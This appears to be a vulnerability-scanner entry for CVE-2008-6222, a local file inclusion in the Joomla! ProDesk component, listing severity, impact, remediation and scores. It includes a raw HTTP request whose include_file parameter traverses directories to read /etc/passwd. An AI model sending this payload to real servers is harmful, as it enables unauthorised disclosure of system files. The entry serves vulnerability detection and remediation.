| Title | Joomla! ProDesk 1.0/1.2 - Local File Inclusion |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution. |
| Remediation | Apply the latest security patches or upgrade to a patched version of Joomla! ProDesk to mitigate the vulnerability. |
| CVSS Score | 5 |
| EPSS Score | 0.03072 |
| CVE ID | CVE-2008-6222 |
| CWE ID | CWE-22 |
| Tags | cve cve2008 joomla lfi edb joomlashowroom vuln |
Joomla! Pro Desk Support Center (com_pro_desk) component 1.0 and 1.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the include_file parameter to index.php.
GET /index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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